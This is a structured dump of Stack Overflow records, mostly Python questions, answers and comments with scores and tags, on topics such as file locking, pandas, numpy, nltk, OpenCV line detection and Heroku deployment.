has body: I don't see how the combination of file locks and os.replace() can make sense. When the file is replaced (that is, the directory entry is replaced), all the existing file locks (probably including file locks waiting for the locking to succeed, I'm not sure of the semantics here) and file descriptors will be against the old file, not the new one. I suspect this is the reason behind the race conditions causing you to lose some of the records in your tests. os.replace() is a good technique to ensure that a reader doesn't read a partial update. But it doesn't work robustly in the face of multiple updaters (unless losing some of the updates is ok). Another issues is that fcntl is a really really stupid API. In particular, the locks are bound to the process, not the file descriptor. Which means that e.g. a close() on ANY file descriptor pointing to the file will release the lock. One way would be to use a "lock file", e.g. taking advantage of the atomicity of link(). From http://man7.org/linux/man-pages/man2/open.2.html: Portable programs that want to perform atomic file locking using a lockfile, and need to avoid reliance on NFS support for O_EXCL, can create a unique file on the same filesystem (e.g., incorporating hostname and PID), and use link(2) to make a link to the lockfile. If link(2) returns 0, the lock is successful. Otherwise, use stat(2) on the unique file to check if its link count has increased to 2, in which case the lock is also successful. If it's Ok to read slightly stale data then you can use this link() dance only for a temp file that you use when updating the file and then os.replace() the "main" file you use for reading (reading can then be lockless). If not, then you need to do the link() trick for the "main" file and forget about shared/exclusive locking, all locks are then exclusive. Addendum: One tricky thing to deal with when using lock files is what to do when a process dies for whatever reason, and leaves the lock file around. If this is to r…
has comment: http://stackoverflow.com/comment/84726956
has comment: http://stackoverflow.com/comment/84893770
score: 9
has comment: http://stackoverflow.com/comment/84894193
answers question: http://stackoverflow.com/q/48770531
upvote count: 9
has comment: http://stackoverflow.com/comment/84727257
has comment: http://stackoverflow.com/comment/84771572
has comment: http://stackoverflow.com/comment/138514749
has comment: http://stackoverflow.com/comment/84771605
has comment: http://stackoverflow.com/comment/84894133
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/105147112

http://stackoverflow.com/comment/84568197
score: 0
has text: Thanks for replying
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48783304

http://stackoverflow.com/comment/84772920
type: Comment
comment on: http://stackoverflow.com/a/48792809
has text: Turns out that March 13th at 2am is when the clocks go back in New York State. So there is just an hour missing. Thanks for your help though
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84442032
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48721368
has text: Using `set` is essentially just removing duplicates by iterating over it...

http://stackoverflow.com/a/48769175
has comment: http://stackoverflow.com/comment/84566523
type: Answer
upvote count: 3
score: 3
answers question: http://stackoverflow.com/q/48767977
has body: You can also use linregress from scipy.stats with groupby from the pandas: from scipy.stats import linregress # groupby column grouped = df.groupby('SysNr') # https://stackoverflow.com/a/14775604/5916727 # apply linear regression to each group result_df = pd.DataFrame(grouped.apply(lambda x: linregress(x['RegnskabsAar'], x['res_f_r']))).reset_index() # https://stackoverflow.com/a/29550458/5916727 # expand result to each column result_df'slope', 'intercept', 'r_value', 'p_value', 'std_err' = result_df[0].apply(pd.Series) # drop initial column with all in one del result_df[0] result_df Result: SysNr slope intercept r_value p_value std_err 0 1 50000.0 -100350000.0 1.0 9.003163e-11 0.0 1 2 -50000.0 101050000.0 -1.0 9.003163e-11 0.0
has comment: http://stackoverflow.com/comment/84579539
downvote count: 0

http://stackoverflow.com/q/48716679
upvote count: 3
type: Question
has title: Optimizing element searching in a python Heap
accepted answer: http://stackoverflow.com/a/48754572
has body: I'm looking for an object in a python Heap. Technically, looking for the absence of it, but I assume the logic works similarly. heap = [] heapq.heappush(heap, (10, object)) if object not in [k for v, k in heap]: ## code goes here ## However, this check is the longest (most processor-intensive) part of my program at large numbers of elements in the heap. Can this search be optimized? And if so, how?
score: -1
has comment: http://stackoverflow.com/comment/84433006
downvote count: 4
answer count: 2
favorite count: 0
tagged with: heap
has answer: http://stackoverflow.com/a/48754572
possible better answer: http://stackoverflow.com/a/48736356
tagged with: python
has answer: http://stackoverflow.com/a/48736356
has comment: http://stackoverflow.com/comment/84432830
type: AnsweredQuestion

http://stackoverflow.com/q/48650713
tagged with: syntax
type: Question
tagged with: numpy
answer count: 1
has body: I'm following this SVM classifier example code from a book that I'm reading. I'm new to Python and have hard time understanding/visualizing all these arrays syntax [:,1] [:,:-1]. Could someone please explain what are the last 3 lines of code supposed to mean/do. I will greatly appreciate it. Convert string data to numerical data label_encoder = [] X_encoded = np.empty(X.shape) for i,item in enumerate(X[0]): if item.isdigit(): X_encoded[:, i] = X[:, i] else: label_encoder.append(preprocessing.LabelEncoder()) X_encoded[:, i] = label_encoder[-1].fit_transform(X[:, i]) X = X_encoded[:, :-1].astype(int) y = X_encoded[:, -1].astype(int)
accepted answer: http://stackoverflow.com/a/48651314
score: 0
has title: Python - numpy array syntax confusion?
has comment: http://stackoverflow.com/comment/84350806
linked to: http://stackoverflow.com/q/509211
has comment: http://stackoverflow.com/comment/84299242
has comment: http://stackoverflow.com/comment/84299382
has comment: http://stackoverflow.com/comment/84302083
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48651314

http://stackoverflow.com/a/48676761
upvote count: 5
has comment: http://stackoverflow.com/comment/84351928
has comment: http://stackoverflow.com/comment/84351895
downvote count: 0
has comment: http://stackoverflow.com/comment/84351918
type: Answer
has body: You miscalculate the expected value, x can never be 1001, The number around 1001 is 1000 and 1003, so the while loop goes forever. I think you may use: while x != 1000: or: while x &lt; 1001: Note as @idjaw pointed out, using != here is not a very good choice.
answers question: http://stackoverflow.com/q/48676719
score: 5

http://stackoverflow.com/a/48741558
answers question: http://stackoverflow.com/q/48741185
type: AcceptedAnswer
downvote count: 0
has body: You can try np.cumprod import numpy as np pct_chg = np.array([0, 1.5, 0.4, 2.1, -3.1, 2.4, -0.8]) uv_acct = 100 * np.cumprod(1 + pct_chg / 100) Output: # array([ 100. , 101.5 , 101.906 , 104.046026 , # 100.82059919, 103.24029357, 102.41437123])
accepted answer of: http://stackoverflow.com/q/48741185
type: Answer
has comment: http://stackoverflow.com/comment/84482788
upvote count: 1
score: 1

http://stackoverflow.com/comment/84590549
comment on: http://stackoverflow.com/q/48793661
has text: I posted the results.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48711139
tagged with: python
has body: I have a .txt file with four strings, all split by a line break. When I tokenize the file, it processes every line of data, which is perfect. However, when I attempt to remove stop words from the file, it only removes the stop words from the last string. I want to process all content within the file, not just the last sentence. My code: with open ('example.txt') as fin: for tkn in fin: print(word_tokenize(tkn)) #STOP WORDS stop_words = set(stopwords.words("english")) words = word_tokenize(tkn) stpWordsRemoved = [] for stp in words: if stp not in stop_words: stpWordsRemoved.append(stp) print("STOP WORDS REMOVED: " , stpWordsRemoved) Output: ['this', 'is', 'an', 'example', 'of', 'how', 'stop', 'words', 'are', 'utilized', 'in', 'natural', 'language', 'processing', '.'] [] ['drive', 'driver', 'driving', 'driven'] [] ['smile', 'smiling', 'smiled'] [] ['there', 'are', 'multiple', 'words', 'here', 'that', 'you', 'should', 'be', 'able', 'to', 'use', 'for', 'lemmas/synonyms', '.'] STOP WORDS REMOVED: ['multiple', 'words', 'able', 'use', 'lemmas/synonyms', '.'] As you can see above, it only processes the last line. edit: The content of my txt file: this is an example of how stop words are utilized in natural language processing. A driver goes on a drive while being driven mad. He is sick of driving. smile smiling smiled there are multiple words here that you should be able to use for lemmas/synonyms.
accepted answer: http://stackoverflow.com/a/48711423
favorite count: 0
possible better answer: http://stackoverflow.com/a/48711441
has answer: http://stackoverflow.com/a/48711441
has title: nltk only processing last string in txt file
upvote count: 1
tagged with: stop-words
type: AnsweredQuestion
tagged with: tokenize
tagged with: nltk
score: 1
type: Question
has answer: http://stackoverflow.com/a/48711423
answer count: 2
downvote count: 0

http://stackoverflow.com/q/48796628
type: Question
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84597582
has answer: http://stackoverflow.com/a/48939977
has title: How to handle GET and POST needs different numbers of argument in web.py framework
possible better answer: http://stackoverflow.com/a/49521437
has answer: http://stackoverflow.com/a/49521437
favorite count: 0
has body: When develop an restful style API server with web.py micro framework . i have an issue about multiple URL with a handle class and http method funcation needs defferent arguments. for example： URL： url =['/api/users', 'User', '/api/users/(\d+)$, 'User'] Class: class User(object): def GET(self, id=None): Pass def POST(self): Pass Issues: When use postman call /api/uses/1 with POST method Will happen an exception. How to fix it?
accepted answer: http://stackoverflow.com/a/48939977
upvote count: 1
tagged with: python
tagged with: web.py
type: AnsweredQuestion
score: 1

http://stackoverflow.com/q/48686585
tagged with: arrays
has title: Deleting the last n elements of numpy array works only in some cases
accepted answer: http://stackoverflow.com/a/48687169
answer count: 1
has body: I am working on the following script, which is conceived to be later inserted in a while loop, in which I have a total "x" counter (tot_x) that must not exceed the max "x" (max_x) value admitted. The tot_x is meant to be updated at each iteration by adding to it the size of a numpy array, of which "a" is an example. If the size of "a" is such that tot_x exceeds the threshold, I want to create a shorter version of the array "a", called "b", which perfectly fits the remaining gap between max_x and tot_x. Here is the code: import numpy as np tot_x = 200 max_x = 300 a = np.arange(1030,1200) tot_x = tot_x + a.size if tot_x &gt; max_x: b = a[:-(a.size-(max_x-tot_x))] tot_x = (tot_x-a.size) + b.size The problem is that if I run the code as it is, the "b" array is not created correctly, i.e. it has a dimension of 0, whilst if I remove the updating of the tot_x and the if statement, the "b" array is created exactly as I want. Here is the example of the code functioning for the "b" array: import numpy as np tot_time = 200 max_time = 300 a = np.arange(1030,1200) b = a[:-(a.size-(max_time-tot_time))] tot_time = (tot_time-a.size) + b.size Where is the problem?? Thanks a lot
tagged with: python
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/48687169
has comment: http://stackoverflow.com/comment/84372145
type: Question
tagged with: numpy

http://stackoverflow.com/q/48725756
has title: Update statement using Inner join in sql server using pyodbc in Python
favorite count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: python
tagged with: pyodbc
has answer: http://stackoverflow.com/a/48726770
score: 1
type: Question
has comment: http://stackoverflow.com/comment/84450870
downvote count: 0
tagged with: sql-server
has body: HI i am trying to update a table in sql server using pyodbc but i am not able to get the correct syntax. Code snippet- def fun(cur,tablename): cur.execute("""UPDATE sam SET sam.agreement_id = ? FROM '{0}' sam INNER JOIN dbo.agreement_mapping am ON sam.agreement_id = ?; """.format(tablename.replace('\'', '\'\'')),am.newagreementid,am.oldagreementid) I am getting the error `"name 'am' is not defined". Is there any way i can perform this update query ?
answer count: 1
has comment: http://stackoverflow.com/comment/84452427

http://stackoverflow.com/comment/84367002
type: QuestionComment
comment on: http://stackoverflow.com/q/48684842
has text: Thanks for the hint. Please see the updated version
score: 0
type: Comment

http://stackoverflow.com/q/48656975
has comment: http://stackoverflow.com/comment/84317085
score: 0
has title: in matplotlib.pyplot, axvline cannot show after imshow(img)
answer count: 1
has comment: http://stackoverflow.com/comment/84312434
has answer: http://stackoverflow.com/a/48660007
has body: I have a python code like this: import matplotlib.pyplot as plt import matplotlib.image as mpimg img = mpimg.imread('xxx.png') fig = plt.figure(figsize=(8,10)) ax1 = fig.add_axes([0., 0.92, 0.1, 0.08]) ax1.imshow(img) ax1.axvline(0.5, 0, 1, color='gray') plt.show() Running this code shows the img in the axes area. However, the vline does not show up. If I remove the line: ax1.imshow(img) and run again I do see the vline. Any suggestion?
type: UnansweredQuestion
tagged with: python
tagged with: matplotlib
type: Question
linked to: http://stackoverflow.com/q/37246941

http://stackoverflow.com/q/48694697
tagged with: mustache
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/50624489
tagged with: pystache
has answer: http://stackoverflow.com/a/73066727
score: 3
upvote count: 3
type: Question
tagged with: python-2.7
has body: I have dict that has . in the key names. I looked at the code for pystache and couldn't find anything I can use to substitute . with something else. Seems like there is an option to replace delimiters but nothing for .. Example: &gt;&gt;&gt; from pystache import Renderer &gt;&gt;&gt; renderer = Renderer() &gt;&gt;&gt; renderer.render("{{user.first.name}}", {"user": {"first.name": "xyz"}}) u'' &gt;&gt;&gt; renderer.render("{{user.first.name}}", {"user": {"first": {"name": "xyz"}}}) u'xyz' &gt;&gt;&gt; Is there any way I could use a different "delimiter" for traversing dicts?
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/48697373
has title: How can I render keys with '.' in Pystache?
favorite count: 0

http://stackoverflow.com/comment/96666014
has text: @haraprasadj nice! but how can I get to where I want if the tree has hundreds of levels?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48655713

http://stackoverflow.com/comment/84336503
type: AnswerComment
comment on: http://stackoverflow.com/a/48668814
type: Comment
has text: I just took a swing at this. I am getting an traceback error staying that Tracking Identification Number... is not in the list. which I would assum is because its not reading the text file right or maybe because there is a string bunched up against that without a space in the original text file?
score: 0

http://stackoverflow.com/comment/84600470
comment on: http://stackoverflow.com/q/48798848
type: Comment
type: QuestionComment
has text: There are answers there that do account for overlapping substrings.
score: 0

http://stackoverflow.com/q/48773725
has title: Searching numpy array for element values and storing location
tagged with: numpy
answer count: 2
has answer: http://stackoverflow.com/a/48774361
has answer: http://stackoverflow.com/a/48774325
accepted answer: http://stackoverflow.com/a/48774325
downvote count: 1
tagged with: arrays
favorite count: 0
has body: I have a numpy array which represents the adjacency of faces in a 3D model. In general the nth row and column represent the nth face of the model. If a 1 is located in the upper right triangle of the matrix, it represents a convex connection between two faces. If a 1 is located in the lower left triangle, it represents a concave connection. For example in the matrix below, there are convex connections between faces 1 and 2, 1 and 3, 2 and 3 and so on. 1 2 3 4 5 6 1 [[ 0. 1. 1. 0. 0. 0.] 2 [ 0. 0. 1. 1. 1. 1.] 3 [ 0. 0. 0. 0. 0. 0.] 4 [ 0. 0. 0. 0. 1. 0.] 5 [ 0. 0. 0. 0. 0. 0.] 6 [ 0. 0. 0. 0. 0. 0.]] Id like to be able to record how many concave and convex connections each face has. i.e. Face 1 has: 0 concave and 2 convex connections Possibly even record which faces they are connected to. i.e. Face 1 has: 0 concave and 2 convex (2, 3) connections So far I have tried using np.nonzero() to return the indices of the 1's. However this returns the indices in a format which doesn't seem to be very easy to work with (a separate array for the row and column indices: (array([ 0, 0, 1, 1, 1, 1, 3]), array([ 1, 2, 2, 3, 4, 5, 4])) Can anyone help me with an easier way to carry out this task? Thanks
tagged with: python
type: AnsweredQuestion
upvote count: 0
possible better answer: http://stackoverflow.com/a/48774361
type: Question
score: -1

http://stackoverflow.com/q/48744241
has comment: http://stackoverflow.com/comment/84491304
has comment: http://stackoverflow.com/comment/84488548
has body: I have a pdf that looks like this: and I would like to extract the numbered items into a dictionary: output = {'01': 'Agriculture and related service activities', '011': 'Growing crops, market gardening and horticulture'...} Currently I am using tika to extract the text from the pdf. But I now need a regex expression to extract the numbered items out of the content. How do I do this? from tika import parser raw = parser.from_file(path) text = raw['content'] regex = ??? match = re.findall(regex, text, flags=re.DOTALL) The text variable contains the text of the document. It looks like this: u"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nSTATISTICS SINGAPORE - Singapore Standard Industrial Classification, 2015\n\n\nSection A: Agriculture and Fishing\n\nSSIC 2015 Industry SSIC 2010\n\nSECTION A AGRICULTURE AND FISHING\n\n01 AGRICULTURE AND RELATED SERVICE ACTIVITIES\n\n011 GROWING OF CROPS, MARKET GARDENING AND HORTICULTURE\n\n0111 Growing of Food Crops (Non-Hydroponics)\n01111 Growing of leafy and fruit vegetables 01111\n01112 Growing of mushrooms 01112\n01113 Growing of root crops 01113......"
downvote count: 1
has answer: http://stackoverflow.com/a/48745710
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48745710
type: Question
has answer: http://stackoverflow.com/a/55930609
tagged with: http://stackoverflow.com/tag/pdf
tagged with: regex
score: 1
has comment: http://stackoverflow.com/comment/84488530
favorite count: 0
upvote count: 2
has title: Extract text from a PDF with regex
answer count: 2
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/84517697
accepted answer: http://stackoverflow.com/a/55930609

http://stackoverflow.com/a/48784069
type: Answer
upvote count: 3
has body: It is probably easier to write something that is extendable. And you should use the built-in function sum to do the actual summing. This returns a generator that applies each function to the input x: def map_funcs(x, *funcs): return (f(x) for f in funcs) funcs = lambda x: x + 1, lambda x: x**2 x = 10 print(sum(map_funcs(x, *funcs))) If you want to you can also make it a wrapper which returns something callable, similar to what you've already got: def map_funcs(*funcs): def wrapper(x): return (f(x) for f in funcs) return wrapper funcs = lambda x: x + 1, lambda x: x**2 x = 10 print(sum(map_funcs(*funcs)(x))) # 111
score: 3
answers question: http://stackoverflow.com/q/48783872
accepted answer of: http://stackoverflow.com/q/48783872
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/48657785
has body: Summary of the issue: When deploying to Heroku a flask/react application, I'm having trouble running two buildpacks at once and making the application function. I typically am encountering 1 of 2 issues depending on how I setup the project. If I instruct Heroku to cd static &amp;&amp; npm --dev install &amp;&amp; npm run build:production in package.json postinstall script, my bundle.js file can't be found and all my components are reportedly not accessible: Here is an example error I get from Heroku in the terminal after a successful build: ERROR in ./src/containers/HomeContainer/index.js remote: Module not found: Error: Cannot resolve 'file' or 'directory' ../../components/IntroSection in /tmp/build_d95bc1f5e53719f4bd91a1a3/static/src/containers/HomeContainer remote: resolve file If I instruct Heroku to cd static &amp;&amp; npm --dev install &amp;&amp; npm run build:production &amp;&amp; npm start I see the the application builds properly and attempt to listen on the server port. However, eventually the terminal times out and never finished it seems? Here's how it looks in the terminal towards the last command: remote: &gt; node bin/server.js remote: remote: Listening on: {"address":"::","family":"IPv6","port":8080} remote: webpack built e95b297d680022fe in 23191ms The terminal remains stopped here. In both instances, I can access the python side of the application no problem. The issue is getting the client side (react/redux) to render. When running this all locally in either version, it functions perfectly fine. No component errors and the server starts right up. By the way, I was told that Heroku needs package.json in root to help it run the setup. As a result, I've now got 2 package.json files. One in root and one in static. The one in root is just to help it download node/npm and push it over to the other package.json file (I think?). Here's some detail I can give to try to debug the problem further: -- Procfile: web: gunicorn main:app -- Buildpacks on Heroku:…
tagged with: python
tagged with: node.js
linked to: http://stackoverflow.com/q/41973338
type: AnsweredQuestion
type: Question
tagged with: heroku
tagged with: reactjs
has comment: http://stackoverflow.com/comment/84313507
tagged with: flask
linked to: http://stackoverflow.com/q/48531545
score: 0
has answer: http://stackoverflow.com/a/48671495
accepted answer: http://stackoverflow.com/a/48671495
has title: Multi Build Pack in Heroku unable to find bundle or server
has comment: http://stackoverflow.com/comment/84340125
answer count: 1

http://stackoverflow.com/q/48706365
possible better answer: http://stackoverflow.com/a/48706583
has comment: http://stackoverflow.com/comment/84411936
linked to: http://stackoverflow.com/q/2745018
has comment: http://stackoverflow.com/comment/84411864
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84411257
downvote count: 1
accepted answer: http://stackoverflow.com/a/48706482
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/84411117
has comment: http://stackoverflow.com/comment/84411724
has title: Grouping nested list by changes in list lengths
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84411561
score: 0
has answer: http://stackoverflow.com/a/48706583
linked to: http://stackoverflow.com/q/773
has answer: http://stackoverflow.com/a/48706482
favorite count: 0
has body: I have a nested list in the following form inputlist = [[1,2,3],[4,5,6],[7,8,9],[1,2,3,4],[5,6,7,8],[1,2],[3,4]] I would like further nest it based on changing length as follows: outputlist = [[[1,2,3],[4,5,6],[7,8,9]],[[1,2,3,4],[5,6,7,8]],[[1,2],[3,4]]] The underlying logic is that I wish to group every change in list length into a new sublist. It is kind of difficult to explain but I hope the above two examples show what I am trying to do. How can I achieve this simply and elegantly using python? Thanks.

http://stackoverflow.com/comment/84349429
comment on: http://stackoverflow.com/q/48674966
score: 0
type: QuestionComment
has text: The 'upload' button doesn't give access to my hard disk. It stays within the VM
type: Comment

http://stackoverflow.com/a/48794244
answers question: http://stackoverflow.com/q/48785310
has body: As of version 0.12.14 there is no built-in broken axis capability in Bokeh. It might be possible to implement custom extension mapper and axis models for this, but it would not be trivial to do. To propose adding this functionality to Bokeh directly, make a Github feature request issue.
score: 0
type: Answer

http://stackoverflow.com/a/78409869
score: 0
answers question: http://stackoverflow.com/q/48735726
type: Answer
has body: I found a solution to this problem within the post How to get POST request values in Django. the result of request.POST.getlist('fruits') in your views will return ['on', 'on'] To get the name of the selected fruits, target the value="name" from your input tag by using request.POST.getlist('student', '')

http://stackoverflow.com/comment/84490966
type: QuestionComment
comment on: http://stackoverflow.com/q/48745240
score: 0
has text: What is your use case? The logging module is not intended to deal with synchronisation requirements of higher layers of abstraction.
type: Comment

http://stackoverflow.com/comment/84439359
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48719976
type: AnswerComment
has text: this is a good example which can be easily translated to use `collections.defaultdict`. But it does what OP asks and is a good solution. +1

http://stackoverflow.com/q/48677185
tagged with: image-processing
has body: I need help on an algorithm I've been working. I'm trying to detect all the lines in a thresholded image, detect all the lines and then output only those that are parallel. The thresholded image outputs the object of my interest, and then I filter this image through a canny edge detector. This edge image is then passed through the Probabilistic Hough Transform. Now, I want the algorithm to be capable of detecting parallel lines in any image. I had in mind to do this by trying to detect the coordinates of all the lines and calculate their slope (with this then the angle). Parallel lines must have the same or almost the same angle and in that way I could output only the lines with the same angle. I could maybe draw an imaginary line in the image and then use it as reference for all the detected lines in the image? I just don't understand how to use the coordinates of all the lines detected through the function cv2.HoughLinesP(). The documentation of this functions says that the output is a 4D array and this is confusing for me. This is a part of my code: Line Detection through Probabilistic Hough Transform rho_res = .1 # [pixels] theta_res = np.pi / 180. # [radians] threshold = 50 # [# votes] min_line_length = 100 # [pixels] max_line_gap = 40 # [pixels] lines = cv2.HoughLinesP(edge_image, rho_res, theta_res, threshold, np.array([]), minLineLength=min_line_length, maxLineGap=max_line_gap) Draw lines if lines is not None: for i in range(0, len(linesP)): coords = lines[i][0] slope = (float(coords[3]) - coords[1]) / (float(coords[2]) - coords[0]) cv2.line(img, (coords[0], coords[1]), (coords[2], coords[3]), (0,0,255), 2, cv2.LINE_AA) Any idea on how I could extrapolate all the detected lines and then output only those that are parallel? I have tried a few algorithms online but none seems to work. Again, my problem is understanding and working with the output variables of the function cv2.HoughLinesP(). I have also find a code that is supposed to calculate the slope. I tri…
answer count: 3
has answer: http://stackoverflow.com/a/65632851
downvote count: 0
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/48714861
score: 2
has title: Parallel Line detection using Hough Transform, OpenCV and python
has answer: http://stackoverflow.com/a/48677335
upvote count: 2
type: UnansweredQuestion
type: Question
tagged with: opencv
tagged with: algorithm
tagged with: hough-transform

http://stackoverflow.com/q/48674393
score: 2
tagged with: lazy-evaluation
tagged with: python-descriptors
upvote count: 3
linked to: http://stackoverflow.com/q/2954331
has body: Example Take the following example class Leaf: def __get__(self, instance, owner): if instance is None: return self # TODO How to access Root.value here? class Branch: bar = Leaf() class Root: foo = Branch() def __init__(self, value): self.value = value if __name__ == '__main__': x = Root(20) y = Root(30) print(x.foo.bar) # 20 a = x.foo print(a.bar) # 20 print(y.foo.bar) # 30 print(a.bar) # 20 In Leaf.__get__ instance points to the Branch instance. However, I need to access value, which is an instance member of Root. Background My task is to write a parser for a large file header. The parser shall be robust and fast. Therefore, instead of parsing the whole header structure, I proposed to use descriptors to lazy parse the fields. This allows for decoding/encoding the header fields only when required. So, there's a root object that holds the complete header as a bytearray and when a field is accessed, its descriptor reads from or writes to this bytearray. However, the header structure is hierarchical and contains nested fields. For that reason I need to access the roots bytearray from a nested descriptor. Related questions and solutions Similar questions about instance descriptors have been raised before. 1. Create a per instance The solution would be to add the descriptors to the instances instead of classes and set the shared value as reference. IMO this seems a bit inefficient. See Dynamically adding @property in python and Python - How to pass instance variable value to descriptor parameter? 2. Override __getattribute__ I don't think this would work, since __getattribute__ of Branch doesn't know about the Root instance. 3. Propagate value While traversing the structure, Branch.__get__ gets called, where we could store a reference to the root instance, which is accessible from Leaf.__get__. However, this will not work if we mix up calls on multiple instances of Root. Finally, my question is if there are better solutions for this specific problem?
type: Question
has title: Python: How to access instance attributes in nested descriptors?
has comment: http://stackoverflow.com/comment/84348497
linked to: http://stackoverflow.com/q/45977559
tagged with: nested
favorite count: 0
tagged with: python-3.x
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84348019
has comment: http://stackoverflow.com/comment/84347855
tagged with: python
downvote count: 1

http://stackoverflow.com/q/48669338
has comment: http://stackoverflow.com/comment/84338445
tagged with: python
has title: How to correctly handle duplicates in computing the complementary list?
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/48669427
tagged with: list
possible better answer: http://stackoverflow.com/a/48669813
upvote count: 3
has comment: http://stackoverflow.com/comment/84337168
has answer: http://stackoverflow.com/a/48669813
has body: While this question may seem to be related to previous ones (like this one: Python, compute list difference), it is not exactly the same, and even the best rated answer containing two suggestions will not exactly answer the following one. I have a main (unordered) list L containing values with duplicates; take for instance a list of integers: L = [3, 1, 4, 1, 5, 9, 2, 6, 5] I have a smaller list contaning a choice of values from L, for instance: x = [4, 1, 3] The order of the elements in x is not related in any way to the order of the elements in L. Now, I would like to compute the difference L-x in such a way that concatenating x and this difference would give the same list than L (except for the order); to be more precise: list(sorted(x + D(L,x))) == list(sorted(L)) The first bad idea is obviously to use sets, since duplicated will not be handled correctly. The second bad idea is to use some list comprehension with a filter like: [ e for e in L if e not in x ] since the value 1 in my example will be discarded though one instance of this value should occur in the expected difference. As far as I can see, the most efficient way of doing it would be to sort both lists then iterate on both lists (an iterator could be helpful) and carefully take duplicates into account; this would be a O(n log n) solution. I am not looking for speed; I rather wonder if some concise pythonic syntax could do it; even O(n²) or worse could be acceptable if it could do the expected task in one or two lines.
linked to: http://stackoverflow.com/q/36186416
type: Question
linked to: http://stackoverflow.com/q/6486450
has answer: http://stackoverflow.com/a/48669456
answer count: 3
has answer: http://stackoverflow.com/a/48669427
has comment: http://stackoverflow.com/comment/84337098
downvote count: 0
favorite count: 0
tagged with: set-difference

http://stackoverflow.com/comment/84333519
type: Comment
type: QuestionComment
has text: It looks bulky because i have to write `do_something(argument1, argument2` twice
score: 0
comment on: http://stackoverflow.com/q/48667386

http://stackoverflow.com/q/48683433
tagged with: vlc
has comment: http://stackoverflow.com/comment/84478511
answer count: 0
type: Question
has body: I'm trying to make a game and used python-vlc for the background music. Works on the IDLE but after freezing with PyInstaller, it can't seem to run. Traceback (most recent call last): File "site-packages\PyInstaller\loader\pyiboot01_bootstrap.py", line 149, in __init__ File "ctypes\__init__.py", line 348, in __init__ OSError: [WinError 126] The specified module could not be found During handling of the above exception, another exception occurred: Traceback (most recent call last): File "test.py", line 1, in &lt;module&gt; File "&lt;frozen importlib._bootstrap&gt;", line 971, in _find_and_load File "&lt;frozen importlib._bootstrap&gt;", line 955, in _find_and_load_unlocked File "&lt;frozen importlib._bootstrap&gt;", line 665, in _load_unlocked File "c:\users\xuan\appdata\local\programs\python\python36-32\lib\site- packages\PyInstaller\loader\pyimod03_importers.py", line 631, in exec_module exec(bytecode, module.__dict__) File "site-packages\vlc.py", line 198, in &lt;module&gt; File "site-packages\vlc.py", line 169, in find_lib File "site-packages\PyInstaller\loader\pyiboot01_bootstrap.py", line 151, in __init__ __main__.PyInstallerImportError: Failed to load dynlib/dll 'libvlc.dll'. Most probably this dynlib/dll was not found when the application was frozen. [4216] Failed to execute script test Please advise.Thanks (ps. I'm very very new to coding so I might not understand the more complex stuff. Much tolerance appreciated)
has title: Freezing python-vlc with PyInstaller
score: 0
tagged with: pyinstaller
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84768742

http://stackoverflow.com/a/66145112
score: 0
has comment: http://stackoverflow.com/comment/126158711
answers question: http://stackoverflow.com/q/48647534
type: Answer
has body: Using the lambda function you can filter the rows with _merge value “left_only” to get all the rows in df1 which are missing from df2 df3 = df1.merge(df2, how = 'outer' ,indicator=True).loc[lambda x :x['_merge']=='left_only'] df

http://stackoverflow.com/q/48704440
tagged with: python
score: 2
has title: How to use pd.concat to merge multiple DataFrames together in a For Loop
type: Question
has answer: http://stackoverflow.com/a/48704665
tagged with: concatenation
downvote count: 0
has body: I am using the Dark Sky API and the darkskylib library to create a yearly, hourly forecast for New York City. nyc.hourly returns a DataBlock with all weather data, from which I can call the temperature for the next 24hrs. Basically, my problem is that the variable holding does not seem to add the temperature from the two dates together, but just returns the last one. I think that I have got all of my indentation right, but maybe not. import time import pandas as pd from darksky import forecast NYC = 'API Key',40.7128,-74.0060 from datetime import date, timedelta, datetime l = 2 for i in range(0,l): nyc = forecast(*NYC, time=date_list[i]) nyc.refresh(units='si', extend='hourly') # change units to SI units n = len(nyc.hourly) temp = [] unix_time = [] year = [] # create a list of hourly temperatures for the day in question for i in range(0,n): hourly_temp = nyc.hourly[i].temperature temp.append(hourly_temp) year.append(temp) holding = pd.DataFrame(temp) final = pd.concat([holding], ignore_index=True) note; I define date_list at the beginning of the code, it is a bit long, but this is what it returns, and its entries are strings. &gt;&gt;&gt; date_list ['2016-01-01T00:00:00', '2016-01-02T00:00:00']
tagged with: pandas
has comment: http://stackoverflow.com/comment/84407188
answer count: 1
favorite count: 0
tagged with: python-3.x
linked to: http://stackoverflow.com/q/513882
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/comment/84415649
type: QuestionComment
has text: Retrying(Retry(total=4, connect=None, read=None, redirect=None, status=None))after connection broken by 'SSLError("bad handshake": Error([('SSL routine's, 'ssl3_get_server_certificate', 'certificate verify failed')]
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48708122

http://stackoverflow.com/a/48778396
upvote count: 1
score: 1
